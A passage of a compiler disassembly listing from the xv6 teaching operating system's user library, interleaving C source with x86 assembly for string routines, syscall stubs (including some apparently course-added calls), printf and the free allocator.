cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
d0: 0f b6 c2 movzbl %dl,%eax
d3: 5b pop %ebx
d4: 5e pop %esi
return (uchar)*p - (uchar)*q;
d5: 29 c8 sub %ecx,%eax
}
d7: 5d pop %ebp
d8: c3 ret
d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000000e0 <strlen>:
uint
strlen(char *s)
{
e0: 55 push %ebp
e1: 89 e5 mov %esp,%ebp
e3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
e6: 80 39 00 cmpb $0x0,(%ecx)
e9: 74 15 je 100 <strlen+0x20>
eb: 31 d2 xor %edx,%edx
ed: 8d 76 00 lea 0x0(%esi),%esi
f0: 83 c2 01 add $0x1,%edx
f3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
f7: 89 d0 mov %edx,%eax
f9: 75 f5 jne f0 <strlen+0x10>
;
return n;
}
fb: 5d pop %ebp
fc: c3 ret
fd: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
100: 31 c0 xor %eax,%eax
}
102: 5d pop %ebp
103: c3 ret
104: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
10a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000110 <memset>:
void*
memset(void *dst, int c, uint n)
{
110: 55 push %ebp
111: 89 e5 mov %esp,%ebp
113: 57 push %edi
114: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
117: 8b 4d 10 mov 0x10(%ebp),%ecx
11a: 8b 45 0c mov 0xc(%ebp),%eax
11d: 89 d7 mov %edx,%edi
11f: fc cld
120: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
122: 89 d0 mov %edx,%eax
124: 5f pop %edi
125: 5d pop %ebp
126: c3 ret
127: 89 f6 mov %esi,%esi
129: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000130 <strchr>:
char*
strchr(const char *s, char c)
{
130: 55 push %ebp
131: 89 e5 mov %esp,%ebp
133: 53 push %ebx
134: 8b 45 08 mov 0x8(%ebp),%eax
137: 8b 55 0c mov 0xc(%ebp),%edx
for(; *s; s++)
13a: 0f b6 18 movzbl (%eax),%ebx
13d: 84 db test %bl,%bl
13f: 74 1d je 15e <strchr+0x2e>
141: 89 d1 mov %edx,%ecx
if(*s == c)
143: 38 d3 cmp %dl,%bl
145: 75 0d jne 154 <strchr+0x24>
147: eb 17 jmp 160 <strchr+0x30>
149: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
150: 38 ca cmp %cl,%dl
152: 74 0c je 160 <strchr+0x30>
for(; *s; s++)
154: 83 c0 01 add $0x1,%eax
157: 0f b6 10 movzbl (%eax),%edx
15a: 84 d2 test %dl,%dl
15c: 75 f2 jne 150 <strchr+0x20>
return (char*)s;
return 0;
15e: 31 c0 xor %eax,%eax
}
160: 5b pop %ebx
161: 5d pop %ebp
162: c3 ret
163: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
169: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000170 <gets>:
char*
gets(char *buf, int max)
{
170: 55 push %ebp
171: 89 e5 mov %esp,%ebp
173: 57 push %edi
174: 56 push %esi
int i, cc;
char c;
for(i=0; i+1 < max; ){
175: 31 f6 xor %esi,%esi
{
177: 53 push %ebx
178: 89 f3 mov %esi,%ebx
17a: 83 ec 1c sub $0x1c,%esp
17d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
180: eb 2f jmp 1b1 <gets+0x41>
182: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
188: 83 ec 04 sub $0x4,%esp
18b: 8d 45 e7 lea -0x19(%ebp),%eax
18e: 6a 01 push $0x1
190: 50 push %eax
191: 6a 00 push $0x0
193: e8 31 01 00 00 call 2c9 <read>
if(cc < 1)
198: 83 c4 10 add $0x10,%esp
19b: 85 c0 test %eax,%eax
19d: 7e 1c jle 1bb <gets+0x4b>
break;
buf[i++] = c;
19f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
1a3: 83 c7 01 add $0x1,%edi
1a6: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
1a9: 3c 0a cmp $0xa,%al
1ab: 74 23 je 1d0 <gets+0x60>
1ad: 3c 0d cmp $0xd,%al
1af: 74 1f je 1d0 <gets+0x60>
for(i=0; i+1 < max; ){
1b1: 83 c3 01 add $0x1,%ebx
1b4: 89 fe mov %edi,%esi
1b6: 3b 5d 0c cmp 0xc(%ebp),%ebx
1b9: 7c cd jl 188 <gets+0x18>
1bb: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
1bd: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
1c0: c6 03 00 movb $0x0,(%ebx)
}
1c3: 8d 65 f4 lea -0xc(%ebp),%esp
1c6: 5b pop %ebx
1c7: 5e pop %esi
1c8: 5f pop %edi
1c9: 5d pop %ebp
1ca: c3 ret
1cb: 90 nop
1cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1d0: 8b 75 08 mov 0x8(%ebp),%esi
1d3: 8b 45 08 mov 0x8(%ebp),%eax
1d6: 01 de add %ebx,%esi
1d8: 89 f3 mov %esi,%ebx
buf[i] = '\0';
1da: c6 03 00 movb $0x0,(%ebx)
}
1dd: 8d 65 f4 lea -0xc(%ebp),%esp
1e0: 5b pop %ebx
1e1: 5e pop %esi
1e2: 5f pop %edi
1e3: 5d pop %ebp
1e4: c3 ret
1e5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000001f0 <stat>:
int
stat(char *n, struct stat *st)
{
1f0: 55 push %ebp
1f1: 89 e5 mov %esp,%ebp
1f3: 56 push %esi
1f4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
1f5: 83 ec 08 sub $0x8,%esp
1f8: 6a 00 push $0x0
1fa: ff 75 08 pushl 0x8(%ebp)
1fd: e8 ef 00 00 00 call 2f1 <open>
if(fd < 0)
202: 83 c4 10 add $0x10,%esp
205: 85 c0 test %eax,%eax
207: 78 27 js 230 <stat+0x40>
return -1;
r = fstat(fd, st);
209: 83 ec 08 sub $0x8,%esp
20c: ff 75 0c pushl 0xc(%ebp)
20f: 89 c3 mov %eax,%ebx
211: 50 push %eax
212: e8 f2 00 00 00 call 309 <fstat>
close(fd);
217: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
21a: 89 c6 mov %eax,%esi
close(fd);
21c: e8 b8 00 00 00 call 2d9 <close>
return r;
221: 83 c4 10 add $0x10,%esp
}
224: 8d 65 f8 lea -0x8(%ebp),%esp
227: 89 f0 mov %esi,%eax
229: 5b pop %ebx
22a: 5e pop %esi
22b: 5d pop %ebp
22c: c3 ret
22d: 8d 76 00 lea 0x0(%esi),%esi
return -1;
230: be ff ff ff ff mov $0xffffffff,%esi
235: eb ed jmp 224 <stat+0x34>
237: 89 f6 mov %esi,%esi
239: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000240 <atoi>:
int
atoi(const char *s)
{
240: 55 push %ebp
241: 89 e5 mov %esp,%ebp
243: 53 push %ebx
244: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
247: 0f be 11 movsbl (%ecx),%edx
24a: 8d 42 d0 lea -0x30(%edx),%eax
24d: 3c 09 cmp $0x9,%al
n = 0;
24f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
254: 77 1f ja 275 <atoi+0x35>
256: 8d 76 00 lea 0x0(%esi),%esi
259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
260: 83 c1 01 add $0x1,%ecx
263: 8d 04 80 lea (%eax,%eax,4),%eax
266: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
26a: 0f be 11 movsbl (%ecx),%edx
26d: 8d 5a d0 lea -0x30(%edx),%ebx
270: 80 fb 09 cmp $0x9,%bl
273: 76 eb jbe 260 <atoi+0x20>
return n;
}
275: 5b pop %ebx
276: 5d pop %ebp
277: c3 ret
278: 90 nop
279: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000280 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
280: 55 push %ebp
281: 89 e5 mov %esp,%ebp
283: 57 push %edi
284: 8b 55 10 mov 0x10(%ebp),%edx
287: 8b 45 08 mov 0x8(%ebp),%eax
28a: 56 push %esi
28b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
28e: 85 d2 test %edx,%edx
290: 7e 13 jle 2a5 <memmove+0x25>
292: 01 c2 add %eax,%edx
dst = vdst;
294: 89 c7 mov %eax,%edi
296: 8d 76 00 lea 0x0(%esi),%esi
299: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
*dst++ = *src++;
2a0: a4 movsb %ds:(%esi),%es:(%edi)
while(n-- > 0)
2a1: 39 fa cmp %edi,%edx
2a3: 75 fb jne 2a0 <memmove+0x20>
return vdst;
}
2a5: 5e pop %esi
2a6: 5f pop %edi
2a7: 5d pop %ebp
2a8: c3 ret
000002a9 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
2a9: b8 01 00 00 00 mov $0x1,%eax
2ae: cd 40 int $0x40
2b0: c3 ret
000002b1 <exit>:
SYSCALL(exit)
2b1: b8 02 00 00 00 mov $0x2,%eax
2b6: cd 40 int $0x40
2b8: c3 ret
000002b9 <wait>:
SYSCALL(wait)
2b9: b8 03 00 00 00 mov $0x3,%eax
2be: cd 40 int $0x40
2c0: c3 ret
000002c1 <pipe>:
SYSCALL(pipe)
2c1: b8 04 00 00 00 mov $0x4,%eax
2c6: cd 40 int $0x40
2c8: c3 ret
000002c9 <read>:
SYSCALL(read)
2c9: b8 05 00 00 00 mov $0x5,%eax
2ce: cd 40 int $0x40
2d0: c3 ret
000002d1 <write>:
SYSCALL(write)
2d1: b8 10 00 00 00 mov $0x10,%eax
2d6: cd 40 int $0x40
2d8: c3 ret
000002d9 <close>:
SYSCALL(close)
2d9: b8 15 00 00 00 mov $0x15,%eax
2de: cd 40 int $0x40
2e0: c3 ret
000002e1 <kill>:
SYSCALL(kill)
2e1: b8 06 00 00 00 mov $0x6,%eax
2e6: cd 40 int $0x40
2e8: c3 ret
000002e9 <exec>:
SYSCALL(exec)
2e9: b8 07 00 00 00 mov $0x7,%eax
2ee: cd 40 int $0x40
2f0: c3 ret
000002f1 <open>:
SYSCALL(open)
2f1: b8 0f 00 00 00 mov $0xf,%eax
2f6: cd 40 int $0x40
2f8: c3 ret
000002f9 <mknod>:
SYSCALL(mknod)
2f9: b8 11 00 00 00 mov $0x11,%eax
2fe: cd 40 int $0x40
300: c3 ret
00000301 <unlink>:
SYSCALL(unlink)
301: b8 12 00 00 00 mov $0x12,%eax
306: cd 40 int $0x40
308: c3 ret
00000309 <fstat>:
SYSCALL(fstat)
309: b8 08 00 00 00 mov $0x8,%eax
30e: cd 40 int $0x40
310: c3 ret
00000311 <link>:
SYSCALL(link)
311: b8 13 00 00 00 mov $0x13,%eax
316: cd 40 int $0x40
318: c3 ret
00000319 <mkdir>:
SYSCALL(mkdir)
319: b8 14 00 00 00 mov $0x14,%eax
31e: cd 40 int $0x40
320: c3 ret
00000321 <chdir>:
SYSCALL(chdir)
321: b8 09 00 00 00 mov $0x9,%eax
326: cd 40 int $0x40
328: c3 ret
00000329 <dup>:
SYSCALL(dup)
329: b8 0a 00 00 00 mov $0xa,%eax
32e: cd 40 int $0x40
330: c3 ret
00000331 <getpid>:
SYSCALL(getpid)
331: b8 0b 00 00 00 mov $0xb,%eax
336: cd 40 int $0x40
338: c3 ret
00000339 <sbrk>:
SYSCALL(sbrk)
339: b8 0c 00 00 00 mov $0xc,%eax
33e: cd 40 int $0x40
340: c3 ret
00000341 <sleep>:
SYSCALL(sleep)
341: b8 0d 00 00 00 mov $0xd,%eax
346: cd 40 int $0x40
348: c3 ret
00000349 <uptime>:
SYSCALL(uptime)
349: b8 0e 00 00 00 mov $0xe,%eax
34e: cd 40 int $0x40
350: c3 ret
00000351 <trace>:
SYSCALL(trace)
351: b8 16 00 00 00 mov $0x16,%eax
356: cd 40 int $0x40
358: c3 ret
00000359 <getsharem>:
SYSCALL(getsharem)
359: b8 17 00 00 00 mov $0x17,%eax
35e: cd 40 int $0x40
360: c3 ret
00000361 <releasesharem>:
SYSCALL(releasesharem)
361: b8 18 00 00 00 mov $0x18,%eax
366: cd 40 int $0x40
368: c3 ret
00000369 <split>:
SYSCALL(split)
369: b8 19 00 00 00 mov $0x19,%eax
36e: cd 40 int $0x40
370: c3 ret
00000371 <memo>:
SYSCALL(memo)
371: b8 1a 00 00 00 mov $0x1a,%eax
376: cd 40 int $0x40
378: c3 ret
00000379 <getmemo>:
SYSCALL(getmemo)
379: b8 1b 00 00 00 mov $0x1b,%eax
37e: cd 40 int $0x40
380: c3 ret
00000381 <setmemo>:
SYSCALL(setmemo)
381: b8 1c 00 00 00 mov $0x1c,%eax
386: cd 40 int $0x40
388: c3 ret
00000389 <att>:
SYSCALL(att)
389: b8 1d 00 00 00 mov $0x1d,%eax
38e: cd 40 int $0x40
390: c3 ret
391: 66 90 xchg %ax,%ax
393: 66 90 xchg %ax,%ax
395: 66 90 xchg %ax,%ax
397: 66 90 xchg %ax,%ax
399: 66 90 xchg %ax,%ax
39b: 66 90 xchg %ax,%ax
39d: 66 90 xchg %ax,%ax
39f: 90 nop
000003a0 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
3a0: 55 push %ebp
3a1: 89 e5 mov %esp,%ebp
3a3: 57 push %edi
3a4: 56 push %esi
3a5: 53 push %ebx
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
3a6: 89 d3 mov %edx,%ebx
{
3a8: 83 ec 3c sub $0x3c,%esp
3ab: 89 45 bc mov %eax,-0x44(%ebp)
if(sgn && xx < 0){
3ae: 85 d2 test %edx,%edx
3b0: 0f 89 92 00 00 00 jns 448 <printint+0xa8>
3b6: f6 45 08 01 testb $0x1,0x8(%ebp)
3ba: 0f 84 88 00 00 00 je 448 <printint+0xa8>
neg = 1;
3c0: c7 45 c0 01 00 00 00 movl $0x1,-0x40(%ebp)
x = -xx;
3c7: f7 db neg %ebx
} else {
x = xx;
}
i = 0;
3c9: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
3d0: 8d 75 d7 lea -0x29(%ebp),%esi
3d3: eb 08 jmp 3dd <printint+0x3d>
3d5: 8d 76 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
3d8: 89 7d c4 mov %edi,-0x3c(%ebp)
}while((x /= base) != 0);
3db: 89 c3 mov %eax,%ebx
buf[i++] = digits[x % base];
3dd: 89 d8 mov %ebx,%eax
3df: 31 d2 xor %edx,%edx
3e1: 8b 7d c4 mov -0x3c(%ebp),%edi
3e4: f7 f1 div %ecx
3e6: 83 c7 01 add $0x1,%edi
3e9: 0f b6 92 f8 07 00 00 movzbl 0x7f8(%edx),%edx
3f0: 88 14 3e mov %dl,(%esi,%edi,1)
}while((x /= base) != 0);
3f3: 39 d9 cmp %ebx,%ecx
3f5: 76 e1 jbe 3d8 <printint+0x38>
if(neg)
3f7: 8b 45 c0 mov -0x40(%ebp),%eax
3fa: 85 c0 test %eax,%eax
3fc: 74 0d je 40b <printint+0x6b>
buf[i++] = '-';
3fe: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
403: ba 2d 00 00 00 mov $0x2d,%edx
buf[i++] = digits[x % base];
408: 89 7d c4 mov %edi,-0x3c(%ebp)
40b: 8b 45 c4 mov -0x3c(%ebp),%eax
40e: 8b 7d bc mov -0x44(%ebp),%edi
411: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx
415: eb 0f jmp 426 <printint+0x86>
417: 89 f6 mov %esi,%esi
419: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
420: 0f b6 13 movzbl (%ebx),%edx
423: 83 eb 01 sub $0x1,%ebx
write(fd, &c, 1);
426: 83 ec 04 sub $0x4,%esp
429: 88 55 d7 mov %dl,-0x29(%ebp)
42c: 6a 01 push $0x1
42e: 56 push %esi
42f: 57 push %edi
430: e8 9c fe ff ff call 2d1 <write>
while(--i >= 0)
435: 83 c4 10 add $0x10,%esp
438: 39 de cmp %ebx,%esi
43a: 75 e4 jne 420 <printint+0x80>
putc(fd, buf[i]);
}
43c: 8d 65 f4 lea -0xc(%ebp),%esp
43f: 5b pop %ebx
440: 5e pop %esi
441: 5f pop %edi
442: 5d pop %ebp
443: c3 ret
444: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
448: c7 45 c0 00 00 00 00 movl $0x0,-0x40(%ebp)
44f: e9 75 ff ff ff jmp 3c9 <printint+0x29>
454: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
45a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000460 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
460: 55 push %ebp
461: 89 e5 mov %esp,%ebp
463: 57 push %edi
464: 56 push %esi
465: 53 push %ebx
466: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
469: 8b 75 0c mov 0xc(%ebp),%esi
46c: 0f b6 1e movzbl (%esi),%ebx
46f: 84 db test %bl,%bl
471: 0f 84 b9 00 00 00 je 530 <printf+0xd0>
ap = (uint*)(void*)&fmt + 1;
477: 8d 45 10 lea 0x10(%ebp),%eax
47a: 83 c6 01 add $0x1,%esi
write(fd, &c, 1);
47d: 8d 7d e7 lea -0x19(%ebp),%edi
state = 0;
480: 31 d2 xor %edx,%edx
ap = (uint*)(void*)&fmt + 1;
482: 89 45 d0 mov %eax,-0x30(%ebp)
485: eb 38 jmp 4bf <printf+0x5f>
487: 89 f6 mov %esi,%esi
489: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
490: 89 55 d4 mov %edx,-0x2c(%ebp)
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
493: ba 25 00 00 00 mov $0x25,%edx
if(c == '%'){
498: 83 f8 25 cmp $0x25,%eax
49b: 74 17 je 4b4 <printf+0x54>
write(fd, &c, 1);
49d: 83 ec 04 sub $0x4,%esp
4a0: 88 5d e7 mov %bl,-0x19(%ebp)
4a3: 6a 01 push $0x1
4a5: 57 push %edi
4a6: ff 75 08 pushl 0x8(%ebp)
4a9: e8 23 fe ff ff call 2d1 <write>
4ae: 8b 55 d4 mov -0x2c(%ebp),%edx
} else {
putc(fd, c);
4b1: 83 c4 10 add $0x10,%esp
4b4: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
4b7: 0f b6 5e ff movzbl -0x1(%esi),%ebx
4bb: 84 db test %bl,%bl
4bd: 74 71 je 530 <printf+0xd0>
c = fmt[i] & 0xff;
4bf: 0f be cb movsbl %bl,%ecx
4c2: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
4c5: 85 d2 test %edx,%edx
4c7: 74 c7 je 490 <printf+0x30>
}
} else if(state == '%'){
4c9: 83 fa 25 cmp $0x25,%edx
4cc: 75 e6 jne 4b4 <printf+0x54>
if(c == 'd'){
4ce: 83 f8 64 cmp $0x64,%eax
4d1: 0f 84 99 00 00 00 je 570 <printf+0x110>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
4d7: 81 e1 f7 00 00 00 and $0xf7,%ecx
4dd: 83 f9 70 cmp $0x70,%ecx
4e0: 74 5e je 540 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
4e2: 83 f8 73 cmp $0x73,%eax
4e5: 0f 84 d5 00 00 00 je 5c0 <printf+0x160>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
4eb: 83 f8 63 cmp $0x63,%eax
4ee: 0f 84 8c 00 00 00 je 580 <printf+0x120>
putc(fd, *ap);
ap++;
} else if(c == '%'){
4f4: 83 f8 25 cmp $0x25,%eax
4f7: 0f 84 b3 00 00 00 je 5b0 <printf+0x150>
write(fd, &c, 1);
4fd: 83 ec 04 sub $0x4,%esp
500: c6 45 e7 25 movb $0x25,-0x19(%ebp)
504: 6a 01 push $0x1
506: 57 push %edi
507: ff 75 08 pushl 0x8(%ebp)
50a: e8 c2 fd ff ff call 2d1 <write>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
50f: 88 5d e7 mov %bl,-0x19(%ebp)
write(fd, &c, 1);
512: 83 c4 0c add $0xc,%esp
515: 6a 01 push $0x1
517: 83 c6 01 add $0x1,%esi
51a: 57 push %edi
51b: ff 75 08 pushl 0x8(%ebp)
51e: e8 ae fd ff ff call 2d1 <write>
for(i = 0; fmt[i]; i++){
523: 0f b6 5e ff movzbl -0x1(%esi),%ebx
putc(fd, c);
527: 83 c4 10 add $0x10,%esp
}
state = 0;
52a: 31 d2 xor %edx,%edx
for(i = 0; fmt[i]; i++){
52c: 84 db test %bl,%bl
52e: 75 8f jne 4bf <printf+0x5f>
}
}
}
530: 8d 65 f4 lea -0xc(%ebp),%esp
533: 5b pop %ebx
534: 5e pop %esi
535: 5f pop %edi
536: 5d pop %ebp
537: c3 ret
538: 90 nop
539: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
printint(fd, *ap, 16, 0);
540: 83 ec 0c sub $0xc,%esp
543: b9 10 00 00 00 mov $0x10,%ecx
548: 6a 00 push $0x0
54a: 8b 5d d0 mov -0x30(%ebp),%ebx
54d: 8b 45 08 mov 0x8(%ebp),%eax
550: 8b 13 mov (%ebx),%edx
552: e8 49 fe ff ff call 3a0 <printint>
ap++;
557: 89 d8 mov %ebx,%eax
559: 83 c4 10 add $0x10,%esp
state = 0;
55c: 31 d2 xor %edx,%edx
ap++;
55e: 83 c0 04 add $0x4,%eax
561: 89 45 d0 mov %eax,-0x30(%ebp)
564: e9 4b ff ff ff jmp 4b4 <printf+0x54>
569: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
printint(fd, *ap, 10, 1);
570: 83 ec 0c sub $0xc,%esp
573: b9 0a 00 00 00 mov $0xa,%ecx
578: 6a 01 push $0x1
57a: eb ce jmp 54a <printf+0xea>
57c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
putc(fd, *ap);
580: 8b 5d d0 mov -0x30(%ebp),%ebx
write(fd, &c, 1);
583: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
586: 8b 03 mov (%ebx),%eax
write(fd, &c, 1);
588: 6a 01 push $0x1
ap++;
58a: 83 c3 04 add $0x4,%ebx
write(fd, &c, 1);
58d: 57 push %edi
58e: ff 75 08 pushl 0x8(%ebp)
putc(fd, *ap);
591: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
594: e8 38 fd ff ff call 2d1 <write>
ap++;
599: 89 5d d0 mov %ebx,-0x30(%ebp)
59c: 83 c4 10 add $0x10,%esp
state = 0;
59f: 31 d2 xor %edx,%edx
5a1: e9 0e ff ff ff jmp 4b4 <printf+0x54>
5a6: 8d 76 00 lea 0x0(%esi),%esi
5a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
putc(fd, c);
5b0: 88 5d e7 mov %bl,-0x19(%ebp)
write(fd, &c, 1);
5b3: 83 ec 04 sub $0x4,%esp
5b6: e9 5a ff ff ff jmp 515 <printf+0xb5>
5bb: 90 nop
5bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
5c0: 8b 45 d0 mov -0x30(%ebp),%eax
5c3: 8b 18 mov (%eax),%ebx
ap++;
5c5: 83 c0 04 add $0x4,%eax
5c8: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
5cb: 85 db test %ebx,%ebx
5cd: 74 17 je 5e6 <printf+0x186>
while(*s != 0){
5cf: 0f b6 03 movzbl (%ebx),%eax
state = 0;
5d2: 31 d2 xor %edx,%edx
while(*s != 0){
5d4: 84 c0 test %al,%al
5d6: 0f 84 d8 fe ff ff je 4b4 <printf+0x54>
5dc: 89 75 d4 mov %esi,-0x2c(%ebp)
5df: 89 de mov %ebx,%esi
5e1: 8b 5d 08 mov 0x8(%ebp),%ebx
5e4: eb 1a jmp 600 <printf+0x1a0>
s = "(null)";
5e6: bb ef 07 00 00 mov $0x7ef,%ebx
while(*s != 0){
5eb: 89 75 d4 mov %esi,-0x2c(%ebp)
5ee: b8 28 00 00 00 mov $0x28,%eax
5f3: 89 de mov %ebx,%esi
5f5: 8b 5d 08 mov 0x8(%ebp),%ebx
5f8: 90 nop
5f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
write(fd, &c, 1);
600: 83 ec 04 sub $0x4,%esp
s++;
603: 83 c6 01 add $0x1,%esi
606: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
609: 6a 01 push $0x1
60b: 57 push %edi
60c: 53 push %ebx
60d: e8 bf fc ff ff call 2d1 <write>
while(*s != 0){
612: 0f b6 06 movzbl (%esi),%eax
615: 83 c4 10 add $0x10,%esp
618: 84 c0 test %al,%al
61a: 75 e4 jne 600 <printf+0x1a0>
61c: 8b 75 d4 mov -0x2c(%ebp),%esi
state = 0;
61f: 31 d2 xor %edx,%edx
621: e9 8e fe ff ff jmp 4b4 <printf+0x54>
626: 66 90 xchg %ax,%ax
628: 66 90 xchg %ax,%ax
62a: 66 90 xchg %ax,%ax
62c: 66 90 xchg %ax,%ax
62e: 66 90 xchg %ax,%ax
00000630 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
630: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
631: a1 a4 0a 00 00 mov 0xaa4,%eax
{
636: 89 e5 mov %esp,%ebp
638: 57 push %edi
639: 56 push %esi
63a: 53 push %ebx
63b: 8b 5d 08 mov 0x8(%ebp),%ebx
63e: 8b 10 mov (%eax),%edx
bp = (Header*)ap - 1;
640: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
643: 39 c8 cmp %ecx,%eax
645: 73 19 jae 660 <free+0x30>
647: 89 f6 mov %esi,%esi
649: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
650: 39 d1 cmp %edx,%ecx
652: 72 14 jb 668 <free+0x38>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
654: 39 d0 cmp %edx,%eax
656: 73 10 jae 668 <free+0x38>
{
658: 89 d0 mov %edx,%eax
65a: 8b 10 mov (%eax),%edx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
65c: 39 c8 cmp %ecx,%eax
65e: 72 f0 jb 650 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
660: 39 d0 cmp %edx,%eax
662: 72 f4 jb 658 <free+0x28>
664: 39 d1 cmp %edx,%ecx
666: 73 f0 jae 658 <free+0x28>
break;
if(bp + bp->s.size == p->s.ptr){
668: 8b 73 fc mov -0x4(%ebx),%esi
66b: 8d 3c f1 lea (%ecx,%esi,8),%edi
66e: 39 fa cmp %edi,%edx
670: 74 1e je 690 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
672: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
675: 8b 50 04 mov 0x4(%eax),%edx
678: 8d 34 d0 lea (%eax,%edx,8),%esi
67b: 39 f1 cmp %esi,%ecx
67d: 74 28 je 6a7 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
67f: 89 08 mov %ecx,(%eax)
freep = p;
}
681: 5b pop %ebx
freep = p;
682: a3 a4 0a 00 00 mov %eax,0xaa4
}
687: 5e pop %esi
688: 5f pop %edi
689: 5d pop %ebp
68a: c3 ret
68b: 90 nop
68c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
690: 03 72 04 add 0x4(%edx),%esi
693: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
696: 8b 10 mov (%eax),%edx
698: 8b 12 mov (%edx),%edx
69a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
69d: 8b 50 04 mov 0x4(%eax),%edx
6a0: 8d 34 d0 lea (%eax,%edx,8),%esi
6a3: 39 f1 cmp %esi,%ecx
6a5: 75 d8 jne 67f <free+0x4f>
p->s.size += bp->s.size;
6a7: 03 53 fc add -0x4(%ebx),%edx
freep = p;
6aa: a3 a4 0a 00 00 mov %eax,0xaa4
p->s.size += bp->s.size;
6af: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
6b2: 8b 53 f8 mov -0x8(%ebx),%edx
6b5: 89 10 mov %edx,(%eax)
}
